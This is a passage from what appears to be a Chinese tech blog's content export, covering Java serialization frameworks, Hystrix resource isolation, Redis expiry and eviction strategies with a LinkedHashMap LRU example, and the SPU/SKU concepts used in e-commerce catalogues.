当客户端在协议中增加一个字节，并不会影响客户端的使用\n支持多种编程语言\n在 Google 官方发布的源代码中包含了 c++、java、Python 三种语言\n缺点\n二进制格式导致可读性差\n为了提高性能，protobuf 采用了二进制格式进行编码。这直接导致了可读性差。这个直接影响开发测试时候的效率。当然，一般情况下，protobuf 非常可靠，并不会出现太大的问题。\n缺乏自描述\n一般来说，XML 是自描述的，而 protobuf 格式则不是。给你一段二进制格式的协议内容，不配合你写的结构体是看不出来什么作用的。\n通用性差\nprotobuf 虽然支持了大量语言的序列化和反序列化，但仍然并不是一个跨平台和语言的传输标准。在多平台消息传递中，对其他项目的兼容性并不是很好，需要做相应的适配改造工作。相比 json 和 XML，通用性还是没那么好。\nProtostuff 使用 protobuf，我们还要写 proto 文件，并且我们还要使用工具来编译生成 java 文件，实在太麻烦。protostuff能够很好的解决这个问题。 protostuff 也是谷歌的产品，它是基于 protobuf 发展而来的，相对于 protobuf 提供了更多的功能和更简易的用法。 其实 protostuff 也是有局限性的，比如说在序列化的文件在 10M 以下的时候，还是使用 java 自带的序列化机制比较好，但是文件比较大的时候还是 protostuff 好一点，这里的 10M 不是严格的界限。 1 Person person = new Person(\u0026#34;张三\u0026#34;, 18); 2 3 Schema\u0026lt;Person\u0026gt; schema = RuntimeSchema.getSchema(Person.class); 4 5 // Re-use (manage) this buffer to avoid allocating on every serialization 6 LinkedBuffer buffer = LinkedBuffer.allocate(512); 7 8 // 序列化 9 final byte[] protostuff; 10 try { 11 protostuff = ProtostuffIOUtil.toByteArray(person, schema, buffer); 12 } finally { 13 buffer.clear(); 14 } 15 16 // 反序列化 17 Person personParsed = schema.newMessage(); 18 ProtostuffIOUtil.mergeFrom(protostuff, personParsed, schema); 19 System.out.println(personParsed.toString()); Thrift Thrift 是一套包含序列化功能和支持服务通信的 RPC 框架，主要包含三大部分：代码生成、序列化框架、RPC 框架，大致相当于 protoc + protobuffer + grpc，并且支持大量语言，保证常用功能在跨语言间功能一致，是一套全栈式的 RPC 解决方案。Thrift 最初由 FaceBook 开发，之后由 ASF 管理。\nThrift 支持多种序列化协议，常用的有：Binary、Compact、JSON\nthrift 的序列化和反序列化步骤：\n创建 thrift 接口定义文件； 将 thrift 的定义文件转换为对应语言的源代码； 选择相应的 protocol，进行序列化和反序列化 看起来步骤有点儿像 protobuf，所以还是相对麻烦的。这里就不做代码演示了。\nAvro Avro（读音类似于 [ævrə]）是 Hadoop 的一个子项目，由 Hadoop 的创始人 Doug Cutting（也是 Lucene，Nutch 等项目的创始人）牵头开发。Avro 是一个基于二进制数据传输高性能的中间件。在 Hadoop 的其他项目中 例如 HBase 和 Hive 的 Client 端与服务端的数据传输也采用了这个工具。Avro 是一个数据序列化的系统。Avro 可以将数 据结构或对象转化成便于存储或传输的格式。Avro 设计之初就用来支持数据密集型应用，适合于远程或本地大规模数据的存储和交换。它的主要特点有：\n丰富的数据结构类型； 快速可压缩的二进制数据形式，对数据二进制序列化后可以节约数据存储空间和网络传输带宽； 存储持久数据的文件容器； 可以实现远程过程调用 RPC； 简单的动态语言结合功能。 Avro 提供了两种序列化和反序列化的方式，一种是通过 Schema 文件来生成代码的方式，一种是不生成代码的通用方式。\n性能对比 解析性能 序列化之空间开销 Json 序列化性能比较 三种 Json 序列化实现里，fastJson 最好，jackson 其次，gson 最差\n各序列化框架对 Java 数据类型支持的对比 选型建议 以上描述的序列化和反序列化协议都各自具有相应的特点，适用于不同的场景：\n基于 Web browser 的 Ajax，以及 Mobile app 与服务端之间的通讯，JSON 协议是首选。对于性能要求不太高，或者以动态类型语言为主，或者传输数据载荷很小的的运用场景，JSON 也是非常不错的选择。 对于调试环境比较恶劣的场景，采用 JSON 或 XML 能够极大的提高调试效率，降低系统开发成本。 当对性能和简洁性有极高要求的场景，Protobuf，Thrift，Avro 之间具有一定的竞争关系。 对于 T 级别的数据的持久化应用场景，Protobuf 和 Avro 是首要选择。如果持久化后的数据存储在 Hadoop 子项目里，Avro 会是更好的选择。 由于 Avro 的设计理念偏向于动态类型语言，对于动态语言为主的应用场景，Avro 是更好的选择。 对于持久层非 Hadoop 项目，以静态类型语言为主的应用场景，Protobuf 会更符合静态类型语言工程师的开发习惯。 如果需要提供一个完整的 RPC 解决方案，Thrift 是一个好的选择。 如果序列化之后需要支持不同的传输层协议，或者需要跨防火墙访问的高性能场景，Protobuf 可以优先考虑。 附录 以上代码中所有相关库的 maven 依赖如下：\n1 \u0026lt;!-- fastjson --\u0026gt; 2 \u0026lt;dependency\u0026gt; 3 \u0026lt;groupId\u0026gt;com.alibaba\u0026lt;/groupId\u0026gt; 4 \u0026lt;artifactId\u0026gt;fastjson\u0026lt;/artifactId\u0026gt; 5 \u0026lt;version\u0026gt;1.2.80\u0026lt;/version\u0026gt; 6 \u0026lt;/dependency\u0026gt; 7 8 \u0026lt;!-- gson --\u0026gt; 9 \u0026lt;dependency\u0026gt; 10 \u0026lt;groupId\u0026gt;com.google.code.gson\u0026lt;/groupId\u0026gt; 11 \u0026lt;artifactId\u0026gt;gson\u0026lt;/artifactId\u0026gt; 12 \u0026lt;version\u0026gt;2.8.6\u0026lt;/version\u0026gt; 13 \u0026lt;/dependency\u0026gt; 14 15 \u0026lt;!-- jackson-databind --\u0026gt; 16 \u0026lt;dependency\u0026gt; 17 \u0026lt;groupId\u0026gt;com.fasterxml.jackson.core\u0026lt;/groupId\u0026gt; 18 \u0026lt;artifactId\u0026gt;jackson-databind\u0026lt;/artifactId\u0026gt; 19 \u0026lt;version\u0026gt;2.13.2.2\u0026lt;/version\u0026gt; 20 \u0026lt;/dependency\u0026gt; 21 22 \u0026lt;!-- hessian --\u0026gt; 23 \u0026lt;dependency\u0026gt; 24 \u0026lt;groupId\u0026gt;com.caucho\u0026lt;/groupId\u0026gt; 25 \u0026lt;artifactId\u0026gt;hessian\u0026lt;/artifactId\u0026gt; 26 \u0026lt;version\u0026gt;4.0.66\u0026lt;/version\u0026gt; 27 \u0026lt;/dependency\u0026gt; 28 29 \u0026lt;!-- kryo --\u0026gt; 30 \u0026lt;dependency\u0026gt; 31 \u0026lt;groupId\u0026gt;com.esotericsoftware\u0026lt;/groupId\u0026gt; 32 \u0026lt;artifactId\u0026gt;kryo\u0026lt;/artifactId\u0026gt; 33 \u0026lt;version\u0026gt;5.3.0\u0026lt;/version\u0026gt; 34 \u0026lt;/dependency\u0026gt; 35 36 \u0026lt;!-- msgPack --\u0026gt; 37 \u0026lt;dependency\u0026gt; 38 \u0026lt;groupId\u0026gt;org.msgpack\u0026lt;/groupId\u0026gt; 39 \u0026lt;artifactId\u0026gt;msgpack\u0026lt;/artifactId\u0026gt; 40 \u0026lt;version\u0026gt;0.6.12\u0026lt;/version\u0026gt; 41 \u0026lt;/dependency\u0026gt; 42 43 \u0026lt;!-- protostuff--\u0026gt; 44 \u0026lt;dependency\u0026gt; 45 \u0026lt;groupId\u0026gt;io.protostuff\u0026lt;/groupId\u0026gt; 46 \u0026lt;artifactId\u0026gt;protostuff-core\u0026lt;/artifactId\u0026gt; 47 \u0026lt;version\u0026gt;1.7.4\u0026lt;/version\u0026gt; 48 \u0026lt;/dependency\u0026gt; 49 \u0026lt;dependency\u0026gt; 50 \u0026lt;groupId\u0026gt;io.protostuff\u0026lt;/groupId\u0026gt; 51 \u0026lt;artifactId\u0026gt;protostuff-runtime\u0026lt;/artifactId\u0026gt; 52 \u0026lt;version\u0026gt;1.7.4\u0026lt;/version\u0026gt; 53 \u0026lt;/dependency\u0026gt; 54 \u0026lt;!-- FST --\u0026gt; 55 \u0026lt;dependency\u0026gt; 56 \u0026lt;groupId\u0026gt;de.ruedigermoeller\u0026lt;/groupId\u0026gt; 57 \u0026lt;artifactId\u0026gt;fst\u0026lt;/artifactId\u0026gt; 58 \u0026lt;version\u0026gt;2.56\u0026lt;/version\u0026gt; 59 \u0026lt;/dependency\u0026gt; 参考 https://blog.activepirate.com/491.html https://andrewpqc.github.io/2019/02/24/thrift/ https://www.cnblogs.com/lxyit/p/12511625.html http://www.kolhuang.top/posts/java-serialization/ https://www.cnblogs.com/niuben/p/14212711.html https://www.cnblogs.com/javazhiyin/p/11841374.html https://blog.csdn.net/jian876601394/article/details/108260546 https://tech.meituan.com/2015/02/26/serialization-vs-deserialization.html https://dyfloveslife.github.io/2020/03/21/Serialization-and-Deserialization-in-Java/ ","date":"2022-05-06T13:53:56Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2022-05-06-java-xu-lie-hua-na-xie-shi-er/cover.jpg","permalink":"/p/2022-05-06-java-xu-lie-hua-na-xie-shi-er/","title":"Java 序列化那些事儿"},{"content":"资源是什么？又为什么要隔离？ 我们设想一个这样的场景：\n在某分布式微服务系统中的某个服务 A ，它依赖外部的 B 、C、D 三个服务，通过 RPC 远程调用它们。 假设服务 A 是一个 springboot 启动的 java 进程，内部 wrap 的 web server 是 tomcat。 假设 tomcat 采用的线程模型是 NIO 模式，它默认的最大连接数是 10000 ，也就是最多同时接收处理10000个用户请求。 在正常情况下，只要同时请求数不超过10000 且服务 A 及内外部服务都正常运行就没有问题。（理论上虽然是这样，但实际情况可能不太严谨）\n考虑这样一种情况：\n假设依赖的 B 服务由于各种原因不正常了，比如出现了超时，而且 B 服务是一个业务核心依赖（基本所有请求都要过它）。那么这时候用户从 A 服务入口进来的正常请求线程将不能正常 终止（terminated），而会 阻塞（Blocked） 或者 等待 (waiting) 在 B 服务这里。\n这时 tomcat 的可用线程数将下降，也就会导致用户对 A 服务的正常请求受到影响，如果 B 服务的情况不能得到改善，那么 A 服务将有可能面临\n线程资源不足，A 服务的非核心请求也受到影响 （不走 B 服务的） 雪崩 的风险，有可能会因为线程资源不足而 hang 死，产生连锁反应，导致 A 也不可用。 可见，我们并不想产生这样的影响，我们希望无论 B 服务是不是核心依赖，它出了问题，都尽量不要或最小范围影响我本服务。\n所以，总结来看，资源具体来说就是线程 ，而隔离的目的，是为了在依赖服务出问题的情况下，影响范围最小化。\nHystrix Hystrix 模型 Hystrix 将远程服务的请求托管在一个线程池中。即默认情况下，所有 Hystrix 命令 (@HystrixCommand) 共享同一个线程池来处理这些请求。该线程池中持有 10 个线程来处理各种远程服务请求，可以是 REST 服务调用、数据库访问等。如下图所示：\n如何隔离 有两种策略分别是\n线程池隔离 信号量隔离 两种隔离方式都是限制对共享资源的并发访问量，线程在就绪状态、运行状态、阻塞状态、终止状态间转变时需要由操作系统调度，占用很大的性能消耗；而信号量是在访问共享资源时，进行 tryAcquire，tryAcquire 成功才允许访问共享资源。\n1HystrixCommandProperties.Setter().withExecutionisolationStrategy(ExecutionlsolationStrategy.THREAD) 2HystrixCommandProperties.Setter().withExecutionisolationStrategy(ExecutionisolationStrategy.SEMAPHORE) 线程池隔离 @HystrixCommand 的默认配置适用于只有少量远程调用的应用。幸运的是，Hystrix 提供了简单易用的方法实现舱壁来隔离不同的远程资源调用。下图说明了 Hystrix 将不同的远程调用隔离在不同的“舱室”（线程池）中：\nHystrix 可以为每一个依赖建立一个线程池，使之和其他依赖的使用资源隔离，同时限制他们的并发访问和阻塞扩张。每个依赖可以根据权重分配资源（这里主要是线程），每一部分的依赖出现了问题，也不会影响其他依赖的使用资源。\n如果简单的使用异步线程来实现依赖调用会有如下问题：\n线程的创建和销毁 线程上下文空间的切换，用户态和内核态的切换带来的性能损耗。 使用线程池的方式可以解决第一种问题，但是第二个问题计算开销是不能避免的。\nNetflix 在使用过程中详细评估了使用异步线程和同步线程带来的性能差异，结果表明在 99%的情况下，异步线程带来的几毫秒延迟的完全可以接受的。\n优点：\n一个依赖可以给予一个线程池，这个依赖的异常不会影响其他的依赖。 使用线程可以完全隔离第三方代码，请求线程可以快速放回。 当一个失败的依赖再次变成可用时，线程池将清理，并立即恢复可用，而不是一个长时间的恢复。 可以完全模拟异步调用，方便异步编程。 使用线程池，可以有效的进行实时监控、统计和封装。 缺点：\n使用线程池的缺点主要是增加了计算的开销。每一个依赖调用都会涉及到队列，调度，上下文切换，而这些操作都有可能在不同的线程中执行。 线程池的创建和管理\n虽然 Hystrix 可以为每个依赖建立一个线程池，但是如果依赖成千上万，建立那么多线程池肯定是不可能的。所以默认情况下，Hystrix 会为每一个 Command Group 建立一个线程池。Hystrix 的线程池在 HystrixConcurrencyStrategy 初始化，线程池是由 ThreadPoolExecutor 实现的。每个线程池默认初始化 10 个线程。Hystrix 有个静态类 Factory，创建的线程池会被存储在 Factory 中的 ConcurrentHashMap 中。ConcurrentHashMap 的 Key 则是上文说到的 CommandGroupKey 或者指定的 ThreadPoolKey。每次命令执行的时候，都会根据 ThreadPoolKey 去找到对应的线程池。线程池拥有一个继承于 rxjava 中 Scheduler 的 HystrixContextScheduler，用于在执行命令的时候，把命令在这个线程池上调度执行。\n信号量隔离 “\n每次调用线程，当前请求通过计数信号量进行限制，当信号大于了最大请求数（maxConcurrentRequests）时，进行限制，调用 fallback 接口快速返回。\n”\n信号量的资源隔离只是起到一个开关的作用，例如，服务 X 的信号量大小为 10，那么同时只允许 10 个 tomcat 的线程（此处是 tomcat 的线程，而不是服务 X 的独立线程池里面的线程）来访问服务 X，其他的请求就会被拒绝，从而达到限流保护的作用。\n信号量的调用是同步的，也就是说，每次调用都得阻塞调用方的线程，直到结果返回。这样就导致了无法对访问做超时（只能依靠调用协议超时，无法主动释放）\n什么时候适合用信号量隔离而不是用线程池？\n隔离的细粒度太高，数百个实例需要隔离，此时用线程池做隔离开销过大 通常这种都是非网络调用的情况下 选用 两种策略对比\n|\n线程池隔离 信号量隔离 线程 与调用线程非相同线程 与调用线程相同 开销 排队、调度、上下文开销等 无线程切换，开销低 异步 支持 不支持 并发支持 支持（最大线程池大小） 支持（最大信号量上限） 对于那些本来延迟就比较小的请求（例如访问本地缓存成功率很高的请求）来说，线程池带来的开销是非常高的，这时，你可以考虑采用其他方法，例如非阻塞信号量（不支持超时），来实现依赖服务的隔离，使用信号量的开销很小。但绝大多数情况下，Netflix 更偏向于使用线程池来隔离依赖服务，因为其带来的额外开销可以接受，并且能支持包括超时在内的所有功能。 当请求的服务网络开销比较大的时候，或者是请求比较耗时的时候，我们最好是使用线程隔离策略，这样的话，可以保证大量的容器 (tomcat) 线程可用，不会由于服务原因，一直处于阻塞或等待状态，快速失败返回。而当我们请求缓存这些服务的时候，我们可以使用信号量隔离策略，因为这类服务的返回通常会非常的快，不会占用容器线程太长时间，而且也减少了线程切换的一些开销，提高了缓存服务的效率。 1@HystrixCommand( 2 commandProperties = { //利用 commandProperties 更改线程池的一些默认配置 3 //选择“线程池”模式、\u0026#34;信号量\u0026#34;模式 4 @HystrixProperty(name=\u0026#34;execution.isolation.strategy\u0026#34;,value = \u0026#34;THREAD\u0026#34;/\u0026#34;SEMAPHORE\u0026#34;), 5 //超时 6 @HystrixProperty(name=\u0026#34;execution.isolation.thread.timeoutInMilliseconds\u0026#34;,value = \u0026#34;3000\u0026#34;), 7 //信号量大小为 10，那么同时只允许 10 个 tomcat 的线程（此处是 tomcat 的线程，而不是服务的独立线程池里面的线程）来访问服务，其他的请求就会被拒绝，从而达到限流保护的作用 8 @HystrixProperty(name=\u0026#34;execution.isolation.semaphore.maxConcurrentRequests\u0026#34;,value = \u0026#34;10\u0026#34;), 9 }， 10) 11public List\u0026lt;License\u0026gt; getLicensesByOrg(String organizationId){ 12 //.... 13} 注意，如果选用线程池，要合理的设置线程池的大小，和超时时间。\nspring cloud 的 yaml 配置可以参考：\n1feign: 2 hystrix: 3 # 启用熔断降级策略 4 enabled: true 5 6ribbon: 7 # 请求建立连接超时时间，单位：毫秒，默认：2000 8 ConnectTimeout: 3000 9 # 读取数据超时时间长，单位：毫秒，默认：5000 10 # 这里设置为 10 秒，表示请求发出后，超过 10 秒没有读取到数据时请求超时 11 ReadTimeout: 10000 12 # 对所有操作都进⾏重试，默认：false 13 OkToRetryOnAllOperations: false 14 # 对同一个实例的最大重试次数，默认：0 15 MaxAutoRetries: 1 16 # 切换实例重试的最大次数，默认：1 17 MaxAutoRetriesNextServer: 1 18 19hystrix: 20 command: 21 default: 22 execution: 23 timeout: 24 # 配置 HystrixCommand 命令执行是否开启超时，默认：true。 25 enabled: true 26 isolation: 27 # 隔离策略，分为 THREAD 和 SEMAPHORE，默认为 THREAD。 28 strategy: THREAD 29 semaphore: 30 # 信号量大小，当隔离策略为信号量时，最大并发请求达到该设置值，后续的请求将被拒绝，默认：10 31 maxConcurrentRequests: 100 32 thread: 33 # 表示设置是否在执行超时时，中断 HystrixCommand.run() 的执行，默认：true 34 interruptOnTimeout: true 35 # hystrixCommand 命令执行超时时间，单位：毫秒，默认：1000 36 # 首先要考虑接口的响应时间，其次要考虑 ribbon 的超时时间和重试次数 37 timeoutInMilliseconds: 30000 更多配置请 参考：https://github.com/Netflix/Hystrix/wiki/Configuration\n参考 https://github.com/Netflix/Hystrix/wiki/Configuration http://www.baoguoding.com/2019/08/471-hystrix08.html https://blog.csdn.net/shiyong1949/article/details/119201924 ","date":"2022-04-25T03:37:31Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2022-04-25-mian-shi-bu-hui-wen-de-hystrix-shi-xian-zi-yuan-ge-li/cover.jpg","permalink":"/p/2022-04-25-mian-shi-bu-hui-wen-de-hystrix-shi-xian-zi-yuan-ge-li/","title":"面试不会问的Hystrix实现资源隔离"},{"content":"Redis的内存回收机制主要体现在以下两个方面：\n删除到达过期时间的键对象。 内存使用达到maxmemory上限时触发内存溢出控制策略。 过期删除策略 删除策略的目标：在内存占用与CPU占用之间寻找一种平衡，顾此失彼都会造成整体redis性能的下降，甚至引发服务器宕机或 内存泄露。\n设置Redis键过期时间 先回顾一下Redis 提供的设置过期时间的命令：\nEXPIRE：表示将键 key 的生存时间设置为 ttl 秒。 PEXPIRE：表示将键 key 的生存时间设置为 ttl 毫秒。 EXPIREAT：表示将键 key 的生存时间设置为 timestamp 所指定的秒数时间戳。 PEXPIREAT：表示将键 key 的生存时间设置为 timestamp 所指定的毫秒数时间戳。 在Redis内部实现中，前面三个设置过期时间的命令最后都会转换成最后一个PEXPIREAT 命令来完成。\n其他相关命令还有：\n移除键的过期时间 PERSIST：表示将key的过期时间移除。\n返回键的剩余生存时间\nTTL：以秒的单位返回键 key 的剩余生存时间。\nPTTL：以毫秒的单位返回键 key 的剩余生存时间。\n在Redis内部，每当我们设置一个键的过期时间时，Redis就会将该键带上过期时间存放到一个过期字典中。当我们查询一个键时，Redis便首先检查该键是否存在过期字典中，如果存在，那就获取其过期时间。然后将过期时间和当前系统时间进行比对，比系统时间大，那就没有过期；反之判定该键过期。\n此外：\n对于字符串类型键，执行set命令会去掉过期时间，这个问题很容易在开发中被忽视\n如下是Redis源码中，set命令的函数setKey，可以看到最后执行了removeExpire（db，key）函数去掉了过期时间：\n1void setKey(redisDb *db, robj *key, robj *val) { 2 if (lookupKeyWrite(db,key) == NULL) { 3 dbAdd(db,key,val); 4 } else { 5 dbOverwrite(db,key,val); 6 } 7 incrRefCount(val); 8 // 去掉过期时间 9 removeExpire(db,key); 10 signalModifiedKey(db,key); 11} Redis不支持二级数据结构（例如哈希、列表）内部元素的过期功能，例如不能对列表类型的一个元素做过期时间设置。 setex命令作为set+expire的组合，不但是原子执行，同时减少了一次网络通讯的时间。 过期删除策略 通常删除某个key，我们有如下三种方式进行处理\n1 定时删除\n在设置某个key 的过期时间同时，我们创建一个定时器，让定时器在该过期时间到来时，立即执行对其进行删除的操作。\n优点：定时删除对内存是最友好的，能够保存内存的key一旦过期就能立即从内存中删除。 缺点：对CPU最不友好，在过期键比较多的时候，删除过期键会占用一部分 CPU 时间，对服务器的响应时间和吞吐量造成影响。 2 惰性删除（Lazy delete）\n设置该key 过期时间后，我们不去管它，当需要该key时，我们在检查其是否过期，如果过期，我们就删掉它，反之返回该key。\n优点：对 CPU友好，我们只会在使用该键时才会进行过期检查，对于很多用不到的key不用浪费时间进行过期检查。 缺点：对内存不友好，如果一个键已经过期，但是一直没有使用，那么该键就会一直存在内存中，如果数据库中有很多这种使用不到的过期键，这些键便永远不会被删除，内存永远不会释放。从而造成内存泄漏。 3 定期删除\n每隔一段时间，我们就对一些key进行检查，删除里面过期的key。\n优点：可以通过限制删除操作执行的时长和频率来减少删除操作对 CPU 的影响。另外定期删除，也能有效释放过期键占用的内存。\n缺点：难以确定删除操作执行的时长和频率。\n如果执行的太频繁，定期删除策略变得和定时删除策略一样，对CPU不友好。\n如果执行的太少，那又和惰性删除一样了，过期键占用的内存不会及时得到释放。\n另外最重要的是，在获取某个键时，如果某个键的过期时间已经到了，但是还没执行定期删除，那么就会返回这个键的值，这是业务不能忍受的错误\nRedis 使用的过期删除策略 Redis所有的键都可以设置过期属性，内部保存在过期字典中。由于进程内保存大量的键，维护每个键精准的过期删除机制会导致消耗大量的CPU，对于单线程的Redis来说成本过高，因此Redis采用惰性删除和定时任务删除机制实现过期键的内存回收。\n惰性删除：Redis的惰性删除策略由 db.c/expireIfNeeded 函数实现，所有键读写命令执行之前都会调用 expireIfNeeded 函数对其进行检查，如果过期，则删除该键，然后执行键不存在的操作；未过期则不作操作，继续执行原有的命令。\n定期删除：由redis.c/activeExpireCycle 函数实现，函数以一定的频率运行，每次运行时，都从一定数量的数据库中取出一定数量的随机键进行检查，并删除其中的过期键。注意：并不是一次运行就检查所有的库，所有的键，而是随机检查一定数量的键。\n定期删除函数的运行频率，在Redis2.6版本中，规定每秒运行10次，大概100ms运行一次。在Redis2.8版本后，可以通过修改配置文件redis.conf 的 hz 选项来调整这个次数。\n看上面对这个参数的解释，建议不要将这个值设置超过 100，否则会对CPU造成比较大的压力。\n定时任务中删除过期键逻辑采用了自适应算法，根据键的过期比例、使用快慢两种速率模式回收键，流程如下图所示：\n内存淘汰策略 （逐出算法） 当Redis所用内存达到maxmemory上限时会触发相应的溢出控制策略。\n具体策略受maxmemory-policy参数控制，Redis支持8种策略（有关LFU算法的，是从Redis4.0以后版本才有）：\nnoeviction：默认策略，不会删除任何数据，拒绝所有写入操作并返回客户端错误信息（error）OOM command not allowed when used memory，此时Redis只响应读操作。生产一般不会选用 allkeys-lru 利用LRU算法移除任何key （不管数据有没有设置超时属性，直到腾出足够空间为止）。 allkeys-lfu 利用LRU算法移除任何key （不管数据有没有设置超时属性，直到腾出足够空间为止） volatile-lru：根据LRU算法删除设置了超时属性（expire）的键，直到腾出足够空间为止。如果没有可删除的键对象，回退到noeviction策略。 volatile-lfu:根据LFU算法删除设置了超时属性（expire）的键，直到腾出足够空间为止。如果没有可删除的键对象，回退到noeviction策略。 allkeys-random 无差别的随机移除，直到腾出足够空间为止。 volatile-random：随机删除过期键，直到腾出足够空间为止。 volatile-ttl：根据键值对象的ttl属性，删除最近将要过期数据。如果没有，回退到noeviction策略。 在redis.conf 配置文件中，可以设置淘汰方式：\n内存溢出控制策略可以采用config set maxmemory-policy{policy}动态配置。Redis支持丰富的内存溢出应对策略，可以根据实际需求灵活定制，比如当设置volatile-lru策略时，保证具有过期属性的键可以根据LRU剔除，而未设置超时的键可以永久保留。还可以采用allkeys-lru策略把Redis变为纯缓存服务器使用。当Redis因为内存溢出删除键时，可以通过执行info stats命令查看evicted_keys指标找出当前Redis服务器已剔除的键数量。\nLFU LFU 算法（Least Frequently Used，最不经常使用）：淘汰最近一段时间被访问次数最少的数据，以次数作为参考。\n需要指出的是 ：LRU 算法或者 TTL 算法都是不是很精确算法，而是一个近似的算法。Redis 不会通过对全部的键值对进行比较来确定最精确的时间值，从而确定删除哪个键值对 ， 因为这将消耗太多的时间 ， 导致回收垃圾执行的时间太长 ， 造成服务停顿。\n当存在热点数据时，LRU的效率很好，但偶发性的、周期性的批量操作会导致LRU命中率急剧下降，缓存污染情况比较严重。这时使用LFU可能更好点\nLRU LRU算法， 最近最久未使用算法， Least Recently Used\n下图是一个淘汰的流程：\n在Redis中LRU算法是一个近似算法，默认情况下，Redis随机挑选5个键，并且从中选取一个最近最久未使用的key进行淘汰，在配置文件中可以通过maxmemory-samples的值来设置redis需要检查key的个数,但是检查的越多，耗费的时间也就越久,但是结构越精确(也就是Redis从内存中淘汰的对象未使用的时间也就越久~),设置多少，综合权衡吧~~~\nRedis 3.0对这个近似算法的优化\n新算法会维护一个候选池（大小为16），池中的数据根据访问时间进行排序，第一次随机选取的key都会放入池中，随后每次随机选取的key只有在访问时间小于池中最小的时间才会放入池中，直到候选池被放满。当放满后，如果有新的key需要放入，则将池中最后访问时间最大（最近被访问）的移除。当需要淘汰时，需要从池中捞出最久没被访问的key淘汰掉就行了。\n新旧算法的对比\n下面的图片是Redis官方文档给出的新旧算法对比结果：\n浅灰色是被淘汰的数据 灰色是没有被淘汰掉的老数据 绿色是新加入的数据 可以看到3.0的效果明显比2.8的要得多，并且取样数越大，越接近标准的LRU算法\n为什么Redis不使用真正的LRU ?\n原因很简单，理论的LRU需要你占用更大的内存(每个key还需要保存前后key的地址), 但你从上图就可以看出Redis 3.0使用的近似LRU算法使用起来的效果几乎与理论的LRU等效了。\njava实现LRU ？\nJava自带的集合框架非常强大，实现LRU算法可以直接使用LinkedHashMap集合框架，简单实现的话，只需要重写 removeEldestEntry 方法即可。\n1import java.util.LinkedHashMap; 2import java.util.Map.Entry; 3 4public class LRUCache extends LinkedHashMap { 5 private static final long serialVersionUID = 1L; 6 private final int capacity; 7 private long accessCount = 0; 8 private long hitCount = 0; 9 10 public LRUCache(int capacity) { 11 super(capacity+1, 1.1f, true); 12 this.capacity = capacity; 13 } 14 15 public String get(String key) { 16 accessCount++; 17 if (super.containsKey(key)) { 18 hitCount++; 19 } 20 String value = (String)super.get(key); 21 return value; 22 } 23 24 public boolean containsKey(String key) { 25 accessCount++; 26 if (super.containsKey(key)) { 27 hitCount++; 28 return true; 29 } else { 30 return false; 31 } 32 } 33 34 protected boolean removeEldestEntry(Entry eldest) { 35 return size() \u0026gt; capacity; 36 } 37 38 public long getAccessCount() { 39 return accessCount; 40 } 41 42 public long getHitCount() { 43 return hitCount; 44 } 45} 这是LinkedHashMap的一个构造函数，传入的第三个参数accessOrder为true的时候，就按访问顺序对LinkedHashMap排序，为false的时候就按插入顺序，默认是为false的。当把accessOrder设置为true后，就可以将最近访问的元素置于最前面。\n1public LinkedHashMap(int initialCapacity, 2 float loadFactor, 3 boolean accessOrder) { 4 super(initialCapacity, loadFactor); 5 this.accessOrder = accessOrder; 6} 这是LinkedHashMap中另外一个方法，当返回true的时候，就会remove其中最久的元素，可以通过重写这个方法来控制缓存元素的删除，当缓存满了后，就可以通过返回true删除最久未被使用的元素，达到LRU的要求。\n1protected boolean removeEldestEntry(Map.Entry\u0026lt;K,V\u0026gt; eldest) { 2 return false; 3} 参考 《Redis 开发与运维》 http://antirez.com/news/109 https://redis.io/docs/manual/eviction/ https://zhuanlan.zhihu.com/p/149528273 https://blog.51cto.com/u_15239532/2835914 https://www.geekxh.com/1.99.其他补充题目/11.htm https://www.cnblogs.com/ysocean/p/12422635.html https://blog.csdn.net/weixin_43230682/article/details/107670911 ","date":"2022-04-21T08:22:02Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2022-04-21-redis-nei-cun-hui-shou-ce-l-e/cover.jpg","permalink":"/p/2022-04-21-redis-nei-cun-hui-shou-ce-l-e/","title":"Redis 内存回收策略"},{"content":"SPU 先说一下类目：类目是一个树状结构的系统，大体上可以分成4-5级。如手机-\u0026gt;智能手机-\u0026gt;苹果手机类目，在这里面，手机是一级类目，苹果手机是三级类目，也是叶子类目。\nSPU = Standard Product Unit （标准化产品单元）,SPU是商品信息聚合的最小单位，是一组可复用、易检索的标准化信息的集合，该集合描述了一个产品的基本特性。因此在电商类产品库建立时，通常会根据SPU来建立。\n我们拿京东举例，搜一款产品，比如 macbook pro 16寸M1芯片：\n京东的spu 应该是和商家绑定的，也就是每一个商家有自己一套spu，可以通过上图看到，相同的产品，不同商家的spu 不一样。\nSPU 属性 不会影响到库存和价格的属性, 又叫关键属性\nSKU SKU=stock keeping unit(库存量单位) SKU即库存进出计量的单位（买家购买、商家进货、供应商备货、工厂生产都是依据SKU进行的）。\nSKU是物理上不可分割的最小存货单元。也就是说一款商品，可以根据SKU来确定具体的货物存量。\n同样以京东举例，还是搜索 macbook pro 16寸M1芯片 进入到商品详情，可以看到不同颜色、内存等属于不同的 sku\n从广义上讲，类目\u0026gt;SPU\u0026gt;SKU\n对于同一个商品spu，多个sku的相同属性仅在数据表中存一条记录，这就是spu表，各个sku的不同属性均在数据表中存一条记录，这就是sku表。\nSKU的组合 如一件M码（四个尺码：S码、M码、L码、X码）的粉色（三种颜色：粉色、黄色、黑色）Zara女士风衣，其中M码、粉色就是一组SKU的组合。SKU在生成时, 会根据属性生成相应的笛卡尔积，根据一组SKU可以确定商品的库存情况，那么上面的Zara女士风衣一共有4 * 3 = 12个SKU组合。 M码+粉色这两个属性组合被称为一组SKU、因为SKU是物理上不可分割的最小存货单元，单凭尺寸或者颜色是没有办法确认这款商品的库存情况。 同理商家进货补货也是通过SKU来完成的，试问淘宝店家跟供货商说我要100件红色女士风衣？供应商知道该怎么给他备货吗？显然是不知道的。因为还欠缺了另外的一个销售属性【尺码】。 SKU 属性 会影响到库存和价格的属性, 又叫销售属性\n单品 国人对于SKU的另外一种叫法。\nSKU和商品之间的关系 SKU（或称商品SKU）指的是商品子实体。 商品SPU和商品SKU是包含关系，一个商品SPU包含若干个商品SKU子实体，商品SKU从属于商品SPU。 SKU不是编码，每个SKU包含一个唯一编码，即SKU Code，用于管理。 商品本身也有一个编码，即Product Code，但不作为直接库存管理使用 参考 https://blog.51cto.com/u_15287666/3021182 https://www.cnblogs.com/lingyejun/p/9569563.html http://www.woshipm.com/pd/4625140.html https://segmentfault.com/a/1190000040855949 